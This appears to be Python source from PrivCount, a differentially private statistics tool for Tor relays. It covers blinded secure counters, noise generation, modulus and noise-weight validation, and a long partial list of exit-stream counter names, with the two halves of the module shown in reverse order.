the counts are sent to the tally server at the end
tally server:
init(), tally_counters(), detach_counts()
tally..() uses the counts received from all of the data collectors and
share keepers
this produces the final, unblinded, noisy counts of the privcount process
see privcount/test/test_counters.py for some test cases
'''
def __init__(self, counters, modulus, require_generate_noise=True):
'''
deepcopy counters and initialise each counter to 0L
cast modulus to long and store it
If require_generate_noise is True, assert if we did not add noise
before detaching the counters
'''
self.counters = deepcopy(counters)
self.modulus = long(modulus)
self.shares = None
self.is_noise_pending = require_generate_noise
# initialize all counters to 0L
# counters use unlimited length integers to avoid overflow
for key in self.counters:
assert('bins' in self.counters[key])
for item in self.counters[key]['bins']:
assert len(item) == 2
# bin is now, e.g.: [0.0, 512.0, 0L] for bin_left, bin_right,
# count
item.append(0L)
# take a copy of the zeroed counters to use when generating blinding
# factors
self.zero_counters = deepcopy(self.counters)
def _check_counter(self, counter):
'''
Check that the keys and bins in counter match self.counters
Also check that each bin has a count.
If these checks pass, return True. Otherwise, return False.
'''
for key in self.counters:
if key not in counter:
return False
# disregard sigma, it's only required at the data collectors
if 'bins' not in counter[key]:
return False
num_bins = len(self.counters[key]['bins'])
if num_bins == 0:
return False
if num_bins != len(counter[key]['bins']):
return False
for i in xrange(num_bins):
tally_item = counter[key]['bins'][i]
if len(tally_item) != 3:
return False
return True
def _derive_all_counters(self, blinding_factors, positive):
'''
If blinding_factors is None, generate and apply a counters structure
containing uniformly random blinding factors.
Otherwise, apply the passed blinding factors.
If positive is True, apply blinding factors. Otherwise, apply
unblinding factors.
Returns the applied (un)blinding factors, or None on error.
'''
# if there are no blinding_factors, initialise them to zero
generate_factors = False
if blinding_factors is None:
blinding_factors = deepcopy(self.zero_counters)
generate_factors = True
# validate that the counter data structures match
if not self._check_counter(blinding_factors):
return None
# determine the blinding factors
for key in blinding_factors:
for item in blinding_factors[key]['bins']:
if generate_factors:
original_factor = None
else:
original_factor = long(item[2])
blinding_factor = derive_blinding_factor(original_factor,
self.modulus,
positive=positive)
item[2] = blinding_factor
# add the blinding factors to the counters
self._tally_counter(blinding_factors)
# return the applied blinding factors
return blinding_factors
def _blind(self):
'''
Generate and apply a counters structure containing uniformly random
blinding factors.
Returns the generated blinding factors.
'''
generated_counters = self._derive_all_counters(None, True)
# since we generate blinding factors based on our own inputs, a
# failure here is a programming bug
assert generated_counters is not None
return generated_counters
def _unblind(self, blinding_factors):
'''
Generate unblinding factors from blinding_factors, and apply them to
self.counters.
Returns the applied unblinding factors.
'''
# since we generate unblinding factors based on network input, a
# failure here should be logged, and the counters ignored
return self._derive_all_counters(blinding_factors, False)
def generate_blinding_shares(self, uids):
'''
Generate and apply blinding factors for each counter and share keeper
uid.
'''
self.shares = {}
for uid in uids:
# add blinding factors to all of the counters
blinding_factors = self._blind()
# the caller can add additional annotations to this dictionary
self.shares[uid] = {'secret': blinding_factors, 'sk_uid': uid}
def generate_noise(self, noise_weight):
'''
Generate and apply noise for each counter.
'''
# generate noise for each counter independently
noise_values = deepcopy(self.zero_counters)
for key in noise_values:
for item in noise_values[key]['bins']:
sigma = noise_values[key]['sigma']
sampled_noise = noise(sigma, 1, noise_weight)
# exact halfway values are rounded towards even integers
# values over 2**53 are not integer-accurate
# but we don't care, because it's just noise
item[2] = long(round(sampled_noise))
# add the noise to each counter
self._tally_counter(noise_values)
self.is_noise_pending = False
def detach_blinding_shares(self):
'''
Deletes this class' reference to self.shares.
Does not securely delete, as python does not have secure delete.
Detaches and returns the value of self.shares.
Typically, the caller then uses encrypt() on the returned shares.
'''
shares = self.shares
# TODO: secure delete
# del only deletes the reference binding
# deallocation is implementation-dependent
del self.shares
self.shares = None
return shares
def import_blinding_share(self, share):
'''
Generate and apply reverse blinding factors to all of the counters.
If encrypted, these blinding factors must be decrypted and decoded by
the caller using decrypt(), before calling this function.
Returns True if unblinding was successful, and False otherwise.
'''
unblinding_factors = self._unblind(share['secret'])
if unblinding_factors is None:
return False
return True
SINGLE_BIN = float('nan')
'''
A placeholder for the bin value of a counter with a single bin.
This constant must be outside the range of every possible counter.
'''
@staticmethod
def is_single_bin_value(value):
if isnan(SecureCounters.SINGLE_BIN):
return isnan(value)
else:
return SecureCounters.SINGLE_BIN == value
@staticmethod
def is_in_bin(bin_min, bin_max, bin_value):
'''
Is bin_value between bin_min and bin_max?
bin_min is always inclusive. bin_max is exclusive, except when it is
inf, it includes inf.
'''
# make everything float for consistent comparisons
bin_min = float(bin_min)
bin_max = float(bin_max)
bin_value = float(bin_value)
if bin_value >= bin_min:
# any value is <= inf, so we don't need to check if bin_value is inf
if bin_value < bin_max or bin_max == float('inf'):
return True
return False
def increment(self, counter_name, bin=SINGLE_BIN, inc=1):
'''
Increment a bin in counter counter_name by inc.
Uses is_in_bin() to work out which bin to increment.
Example:
secure_counters.increment('ExampleHistogram',
bin=25,
inc=1)
If there is only one bin for the counter, you must pass SINGLE_BIN
for bin:
secure_counters.increment('ExampleCount',
bin=SINGLE_BIN,
inc=1)
'''
if self.counters is not None and counter_name in self.counters:
# check that we have the right types, and that we're not losing
# precision
bin = float(bin)
if float(inc) != float(int(inc)):
logging.warning("Ignoring fractional part of counter {} bin {} increment {}: {}"
.format(counter_name, bin, inc,
float(inc) - float(int(inc))))
assert float(inc) == float(int(inc))
inc = int(inc)
# You must pass SINGLE_BIN if counter_name is a single bin
if len(self.counters[counter_name]['bins']) == 1:
assert(SecureCounters.is_single_bin_value(bin))
bin = 1.0
else:
assert(not SecureCounters.is_single_bin_value(bin))
bin = float(bin)
for item in self.counters[counter_name]['bins']:
if SecureCounters.is_in_bin(item[0], item[1], bin):
item[2] = ((int(item[2]) + int(inc))
% self.modulus)
def _tally_counter(self, counter):
if self.counters == None:
return False
# validate that the counter data structures match
if not self._check_counter(counter):
return False
# ok, the counters match
for key in self.counters:
num_bins = len(self.counters[key]['bins'])
for i in xrange(num_bins):
tally_bin = self.counters[key]['bins'][i]
tally_bin[2] = ((long(tally_bin[2]) +
long(counter[key]['bins'][i][2]))
% self.modulus)
# success
return True
def tally_counters(self, counters):
# first add up all of the counters together
for counter in counters:
if not self._tally_counter(counter):
return False
# now adjust so our tally can register negative counts
# (negative counts are possible if noise is negative)
for key in self.counters:
for tally_bin in self.counters[key]['bins']:
tally_bin[2] = adjust_count_signed(tally_bin[2], self.modulus)
return True
def detach_counts(self):
'''
Asserts if we needed to add noise, and didn't add it
'''
assert not self.is_noise_pending
counts = self.counters
self.counters = None
return counts
"""
def prob_exit(consensus_path, my_fingerprint, fingerprint_pool=None):
'''
this func is currently unused
if it becomes used later, we must add stem as a required python library
'''
from stem.descriptor import parse_file
if fingerprint_pool == None:
fingerprint_pool = [my_fingerprint]
net_status = next(parse_file(consensus_path, document_handler='DOCUMENT', validate=False))
DW = float(net_status.bandwidth_weights['Wed'])/10000
EW = float(net_status.bandwidth_weights['Wee'])/10000
# we must use longs here, because otherwise sum_of_sq_bw can overflow on
# platforms where python has 32-bit ints
# (on these platforms, this happens when router_entry.bandwidth > 65535)
my_bandwidth, DBW, EBW, sum_of_sq_bw = 0L, 0L, 0L, 0L
if my_fingerprint in net_status.routers:
my_bandwidth = net_status.routers[my_fingerprint].bandwidth
for (fingerprint, router_entry) in net_status.routers.items():
if fingerprint not in fingerprint_pool or 'BadExit' in router_entry.flags:
continue
if 'Guard' in router_entry.flags and 'Exit' in router_entry.flags:
DBW += router_entry.bandwidth
sum_of_sq_bw += router_entry.bandwidth**2
elif 'Exit' in router_entry.flags:
EBW += router_entry.bandwidth
sum_of_sq_bw += router_entry.bandwidth**2
TEWBW = DBW*DW + EBW*EW
prob = my_bandwidth/TEWBW
sum_of_sq = sum_of_sq_bw/(TEWBW**2)
return prob, sum_of_sq
"""
| '''
Created on Dec 6, 2016
@author: teor
See LICENSE for licensing information
'''
import logging
import sys
from random import SystemRandom
from copy import deepcopy
from math import sqrt, isnan
from privcount.config import _extra_keys, _common_keys
from privcount.log import format_period, format_elapsed_time_since, format_delay_time_until, summarise_list
DEFAULT_SIGMA_TOLERANCE = 1e-6
DEFAULT_EPSILON_TOLERANCE = 1e-15
DEFAULT_SIGMA_RATIO_TOLERANCE = 1e-6
DEFAULT_DUMMY_COUNTER_NAME = 'ZeroCount'
# The label used for the default noise weight for testing
# Labels are typically data collector relay fingerprints
DEFAULT_NOISE_WEIGHT_NAME = '*'
def counter_modulus():
'''
The hard-coded modulus value for a blinded counter
Blinded counters are unsigned
In PrivCount, this does not have to be prime, and there is no need for it
to be configurable
All PrivCount counters should use unlimited-length Python longs, so that
counter_modulus can exceed 64 bits, the size of a native C long
'''
# PrivCount counters are limited by the modulus, so it needs to be large
# Here's an over-estimate of PrivCount's capacity:
# In 2016, Tor traffic was 75 Gbits, or ~2**34 bytes per second
# (In 2015, Internet traffic was 230 Tbits, or ~2**43 bytes per second)
# Tor traffic might grow by 2**10 while PrivCount is in use
# A year has ~2**25 seconds
# PrivCount counters overflow at modulus/2
# 2**34 * 2**10 * 2**25 * 2 = 2**70
# Using modulus > 2**64 also ensures PrivCount is unlimited-integer clean
# and that it can handle longs that just happen to be integers
# (1 in 2**6 blinding factors are less than 2**64)
return 2L**70L
# historical q values
#return 2147483647L
#return 999999999959L
# modulus was limited to 2**64 when sample() only unpacked 8 bytes
#return 2L**64L
def min_blinded_counter_value():
'''
The hard-coded minimum value for a blinded counter
Blinded counters are unsigned
Always zero
'''
return 0L
def max_blinded_counter_value():
'''
The hard-coded maximum value for a blinded counter
Blinded counters are unsigned
'''
return counter_modulus() - 1L
def min_tally_counter_value():
'''
The hard-coded minimum value for a tallied counter
Tallied counters are signed, to allow for negative noise
'''
return adjust_count_signed((counter_modulus() + 1L)//2L,
counter_modulus())
def max_tally_counter_value():
'''
The hard-coded maximum value for a tallied counter
Tallied counters are signed, to allow for negative noise
'''
return adjust_count_signed((counter_modulus() + 1L)//2L - 1L,
counter_modulus())
def add_counter_limits_to_config(config):
'''
Add the hard-coded counter limits to a deep copy of the config dictionary
Returns the modified deep copy of the config dictionary
'''
assert config is not None
config = deepcopy(config)
# call this modulus so it sorts near the other values
config['modulus'] = counter_modulus()
config['min_blinded_counter_value'] = min_blinded_counter_value()
config['max_blinded_counter_value'] = max_blinded_counter_value()
config['min_tally_counter_value'] = min_tally_counter_value()
config['max_tally_counter_value'] = max_tally_counter_value()
return config
MAX_DC_COUNT = 10**6
def check_dc_threshold(dc_threshold, description="threshold"):
'''
Check that dc_threshold is a valid dc threshold.
DC thresholds must be positive non-zero, and less than or equal to
MAX_DC_COUNT.
Returns True if the dc threshold is valid.
Logs a specific warning using description and returns False if it is not.
'''
if dc_threshold <= 0:
logging.warning("Data collector {} must be at least 1, was {}"
.format(description, dc_threshold))
return False
if dc_threshold > MAX_DC_COUNT:
logging.warning("Data collector {} can be at most {}, was {}"
.format(description, MAX_DC_COUNT, dc_threshold))
return False
return True
def check_noise_weight_value(noise_weight_value, description="value"):
'''
Check that noise_weight_value is a valid noise weight.
Noise weights must be positive and less than or equal to the maximum
tallied counter value.
Returns True if the noise weight value is valid.
Logs a specific warning using description, and returns False if it is not.
'''
if noise_weight_value < 0.0:
logging.warning("Noise weight {} must be positive, was {}".format(
description, noise_weight_value))
return False
if noise_weight_value > max_tally_counter_value():
logging.warning("Noise weight {} can be at most {}, was {}".format(
description, max_tally_counter_value(), noise_weight_value))
return False
return True
def check_noise_weight_sum(noise_weight_sum, description="sum"):
'''
Check that noise_weight_sum is a valid summed noise weight.
Noise weight sums must pass check_noise_weight_value().
Returns True if the noise weight sum is valid.
Logs a specific warning using description and returns False if it is not.
'''
if not check_noise_weight_value(noise_weight_sum, description):
return False
return True
def get_noise_weight_default(noise_weight_config):
'''
Returns the default noise weight, if present in noise_weight_config.
Otherwise, returns None.
'''
return noise_weight_config.get(DEFAULT_NOISE_WEIGHT_NAME, None)
def has_noise_weight_default(noise_weight_config):
'''
Returns True if noise_weight_config has a default noise weight.
Otherwise, returns False.
'''
return get_noise_weight_default(noise_weight_config) is not None
def get_noise_weight(noise_weight_config, fingerprint):
'''
Returns the noise weight for fingerprint, which can be None.
If fingerprint does not have a noise weight (or is None), return the
default noise weight (if any).
Otherwise, returns None.
'''
if fingerprint is not None and fingerprint in noise_weight_config:
return noise_weight_config[fingerprint]
elif has_noise_weight_default(noise_weight_config):
return get_noise_weight_default(noise_weight_config)
else:
return None
def has_noise_weight(noise_weight_config, fingerprint):
'''
Returns True if fingerprint has a noise weight. fingerprint can be None.
If fingerprint is None or missing, returns True if there is a default
noise weight.
If fingerprint does not have a noise weight, returns False.
'''
return get_noise_weight(noise_weight_config, fingerprint) is not None
def check_noise_weight_config(noise_weight_config, dc_threshold):
'''
Check that noise_weight_config is a valid noise weight configuration.
Each noise weight must also pass check_noise_weight_value().
Returns True if the noise weight config is valid.
Logs a specific warning and returns False if it is not.
'''
if not check_dc_threshold(dc_threshold):
return False
# there must be noise weights for a threshold of DCs, or there must be
# a default noise weight
if (len(noise_weight_config) < dc_threshold and
not has_noise_weight_default(noise_weight_config)):
logging.warning("There must be at least as many noise weights as the threshold of data collectors, or there must be a default noise weight. Noise weights: {}, Threshold: {}."
.format(len(noise_weight_config), dc_threshold))
return False
# each noise weight must be individually valid
for dc in noise_weight_config:
if not check_noise_weight_value(noise_weight_config[dc]):
return False
# calculate the maximum possible noise weight
noise_weight_sum = sum(noise_weight_config.values())
# if there is a default, assume a threshold of relays might use it
if has_noise_weight_default(noise_weight_config):
default_weight = get_noise_weight_default(noise_weight_config)
# adjust the sum for the extra default value
noise_weight_sum -= default_weight
# add a threshold of that weight
assert dc_threshold > 0
noise_weight_sum += dc_threshold*default_weight
# the sum must be valid
if not check_noise_weight_sum(noise_weight_sum):
return False
return True
def check_event_set_case(event_set):
'''
Check that event_set is a set, and each event in it has the correct case
Returns True if all checks pass, and False if any check fails
'''
if not isinstance(event_set, (set, frozenset)):
return False
for event in event_set:
if event != event.upper():
return False
return True
def check_event_set_valid(event_set):
'''
Check that event_set passes check_event_set_case, and also that each event
is in the set of valid events
Returns True if all checks pass, and False if any check fails
'''
if not check_event_set_case(event_set):
return False
for event in event_set:
if event not in get_valid_events():
return False
return True
# internal
CELL_EVENT = 'PRIVCOUNT_CIRCUIT_CELL'
BYTES_EVENT = 'PRIVCOUNT_STREAM_BYTES_TRANSFERRED'
STREAM_EVENT = 'PRIVCOUNT_STREAM_ENDED'
CIRCUIT_EVENT = 'PRIVCOUNT_CIRCUIT_CLOSE'
CONNECTION_EVENT = 'PRIVCOUNT_CONNECTION_CLOSE'
HSDIR_STORE_EVENT = 'PRIVCOUNT_HSDIR_CACHE_STORE'
HSDIR_FETCH_EVENT = 'PRIVCOUNT_HSDIR_CACHE_FETCH'
VITERBI_PACKETS_EVENT = 'PRIVCOUNT_VITERBI_PACKETS'
VITERBI_STREAMS_EVENT = 'PRIVCOUNT_VITERBI_STREAMS'
# Unused events
# PrivCount never used this event, it was used by PrivEx
DNS_EVENT = 'PRIVCOUNT_DNS_RESOLVED'
# We don't use this event any more, but the Tor patch still produces it, for
# compatibility with older versions
LEGACY_CIRCUIT_EVENT = 'PRIVCOUNT_CIRCUIT_ENDED'
LEGACY_CONNECTION_EVENT = 'PRIVCOUNT_CONNECTION_ENDED'
def get_valid_events():
'''
Return a set containing the name of each privcount event, in uppercase
'''
event_set = { CELL_EVENT,
BYTES_EVENT,
STREAM_EVENT,
CIRCUIT_EVENT,
CONNECTION_EVENT,
HSDIR_STORE_EVENT,
HSDIR_FETCH_EVENT,
VITERBI_PACKETS_EVENT,
VITERBI_STREAMS_EVENT,
# Unused events
DNS_EVENT,
LEGACY_CIRCUIT_EVENT,
LEGACY_CONNECTION_EVENT,
}
assert check_event_set_case(event_set)
return event_set
# when you modify this list, update the test counters, and run:
# test/test_counter_match.sh
PRIVCOUNT_COUNTER_EVENTS = {
# these counters depend on bytes transferred event
# they are updated in _handle_circuit_cell_event_traffic_model
# these counters are for the traffic model code
# model-specific counters are added in register_dynamic_counter
# viterbi paths for packet modeling are counted on stream end events
'ExitStreamTrafficModelStreamCount' : { VITERBI_PACKETS_EVENT },
'ExitStreamTrafficModelEmissionCount' : { VITERBI_PACKETS_EVENT },
'ExitStreamTrafficModelTransitionCount' : { VITERBI_PACKETS_EVENT },
'ExitStreamTrafficModelDelayTime' : { VITERBI_PACKETS_EVENT },
'ExitStreamTrafficModelLogDelayTime' : { VITERBI_PACKETS_EVENT },
'ExitStreamTrafficModelSquaredLogDelayTime' : { VITERBI_PACKETS_EVENT },
# viterbi paths for stream modeling are counted on circuit end events
'ExitCircuitTrafficModelCircuitCount' : { VITERBI_STREAMS_EVENT },
'ExitCircuitTrafficModelEmissionCount' : { VITERBI_STREAMS_EVENT },
'ExitCircuitTrafficModelTransitionCount' : { VITERBI_STREAMS_EVENT },
'ExitCircuitTrafficModelDelayTime' : { VITERBI_STREAMS_EVENT },
'ExitCircuitTrafficModelLogDelayTime' : { VITERBI_STREAMS_EVENT },
'ExitCircuitTrafficModelSquaredLogDelayTime' : { VITERBI_STREAMS_EVENT },
'ExitStreamCount' : { STREAM_EVENT },
'ExitStreamByteCount' : { STREAM_EVENT },
'ExitStreamOutboundByteCount' : { STREAM_EVENT },
'ExitStreamInboundByteCount' : { STREAM_EVENT },
'ExitStreamByteHistogram' : { STREAM_EVENT },
'ExitStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitStreamByteRatio' : { STREAM_EVENT },
'ExitStreamLifeTime' : { STREAM_EVENT },
# Port Classification
'ExitWebStreamCount' : { STREAM_EVENT },
'ExitWebStreamByteCount' : { STREAM_EVENT },
'ExitWebStreamOutboundByteCount' : { STREAM_EVENT },
'ExitWebStreamInboundByteCount' : { STREAM_EVENT },
'ExitWebStreamByteHistogram' : { STREAM_EVENT },
'ExitWebStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitWebStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitWebStreamByteRatio' : { STREAM_EVENT },
'ExitWebStreamLifeTime' : { STREAM_EVENT },
'ExitInteractiveStreamCount' : { STREAM_EVENT },
'ExitInteractiveStreamByteCount' : { STREAM_EVENT },
'ExitInteractiveStreamOutboundByteCount' : { STREAM_EVENT },
'ExitInteractiveStreamInboundByteCount' : { STREAM_EVENT },
'ExitInteractiveStreamByteHistogram' : { STREAM_EVENT },
'ExitInteractiveStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitInteractiveStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitInteractiveStreamByteRatio' : { STREAM_EVENT },
'ExitInteractiveStreamLifeTime' : { STREAM_EVENT },
'ExitP2PStreamCount' : { STREAM_EVENT },
'ExitP2PStreamByteCount' : { STREAM_EVENT },
'ExitP2PStreamOutboundByteCount' : { STREAM_EVENT },
'ExitP2PStreamInboundByteCount' : { STREAM_EVENT },
'ExitP2PStreamByteHistogram' : { STREAM_EVENT },
'ExitP2PStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitP2PStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitP2PStreamByteRatio' : { STREAM_EVENT },
'ExitP2PStreamLifeTime' : { STREAM_EVENT },
'ExitOtherPortStreamCount' : { STREAM_EVENT },
'ExitOtherPortStreamByteCount' : { STREAM_EVENT },
'ExitOtherPortStreamOutboundByteCount' : { STREAM_EVENT },
'ExitOtherPortStreamInboundByteCount' : { STREAM_EVENT },
'ExitOtherPortStreamByteHistogram' : { STREAM_EVENT },
'ExitOtherPortStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitOtherPortStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitOtherPortStreamByteRatio' : { STREAM_EVENT },
'ExitOtherPortStreamLifeTime' : { STREAM_EVENT },
# Is this stream *not* on port 80 or 443?
# Includes Interactive, P2P, and Other
'ExitNonWebStreamCount' : { STREAM_EVENT },
'ExitNonWebStreamByteCount' : { STREAM_EVENT },
'ExitNonWebStreamOutboundByteCount' : { STREAM_EVENT },
'ExitNonWebStreamInboundByteCount' : { STREAM_EVENT },
'ExitNonWebStreamByteHistogram' : { STREAM_EVENT },
'ExitNonWebStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitNonWebStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitNonWebStreamByteRatio' : { STREAM_EVENT },
'ExitNonWebStreamLifeTime' : { STREAM_EVENT },
# IP version after DNS resolution
'ExitIPv4StreamCount' : { STREAM_EVENT },
'ExitIPv4StreamByteCount' : { STREAM_EVENT },
'ExitIPv4StreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4StreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4StreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4StreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4StreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4StreamByteRatio' : { STREAM_EVENT },
'ExitIPv4StreamLifeTime' : { STREAM_EVENT },
'ExitIPv6StreamCount' : { STREAM_EVENT },
'ExitIPv6StreamByteCount' : { STREAM_EVENT },
'ExitIPv6StreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6StreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6StreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6StreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6StreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6StreamByteRatio' : { STREAM_EVENT },
'ExitIPv6StreamLifeTime' : { STREAM_EVENT },
# IP version or hostname before DNS resolution
'ExitIPv4LiteralStreamCount' : { STREAM_EVENT },
'ExitIPv4LiteralStreamByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralStreamByteRatio' : { STREAM_EVENT },
'ExitIPv4LiteralStreamLifeTime' : { STREAM_EVENT },
'ExitIPv6LiteralStreamCount' : { STREAM_EVENT },
'ExitIPv6LiteralStreamByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralStreamByteRatio' : { STREAM_EVENT },
'ExitIPv6LiteralStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameStreamCount' : { STREAM_EVENT },
'ExitHostnameStreamByteCount' : { STREAM_EVENT },
'ExitHostnameStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameStreamLifeTime' : { STREAM_EVENT },
# Hostnames on Web and Non-Web streams
'ExitHostnameWebStreamCount' : { STREAM_EVENT },
'ExitHostnameWebStreamByteCount' : { STREAM_EVENT },
'ExitHostnameWebStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameWebStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameNonWebStreamCount' : { STREAM_EVENT },
'ExitHostnameNonWebStreamByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameNonWebStreamLifeTime' : { STREAM_EVENT },
# Position of stream on circuit
# These also use CIRCUIT_EVENT, because that avoids collisions between old and
# new streams with the same circuit id. See #451.
'ExitInitialStreamCount' : { STREAM_EVENT },
'ExitInitialStreamByteCount' : { STREAM_EVENT },
'ExitInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitInitialStreamByteRatio' : { STREAM_EVENT },
'ExitInitialStreamLifeTime' : { STREAM_EVENT },
'ExitSubsequentStreamCount' : { STREAM_EVENT },
'ExitSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitSubsequentStreamLifeTime' : { STREAM_EVENT },
# IP version after DNS resolution and position
'ExitIPv4InitialStreamCount' : { STREAM_EVENT },
'ExitIPv4InitialStreamByteCount' : { STREAM_EVENT },
'ExitIPv4InitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4InitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4InitialStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4InitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4InitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4InitialStreamByteRatio' : { STREAM_EVENT },
'ExitIPv4InitialStreamLifeTime' : { STREAM_EVENT },
'ExitIPv6InitialStreamCount' : { STREAM_EVENT },
'ExitIPv6InitialStreamByteCount' : { STREAM_EVENT },
'ExitIPv6InitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6InitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6InitialStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6InitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6InitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6InitialStreamByteRatio' : { STREAM_EVENT },
'ExitIPv6InitialStreamLifeTime' : { STREAM_EVENT },
# IP version or hostname before DNS resolution and position
'ExitIPv4LiteralInitialStreamCount' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamByteRatio' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamLifeTime' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamCount' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamByteRatio' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameInitialStreamCount' : { STREAM_EVENT },
'ExitHostnameInitialStreamByteCount' : { STREAM_EVENT },
'ExitHostnameInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameInitialStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameInitialStreamLifeTime' : { STREAM_EVENT },
# The base counts for the ExitDomain*Web*Stream* counters
'ExitHostnameWebInitialStreamCount' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamByteCount' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamByteRatio' : { STREAM_EVENT },
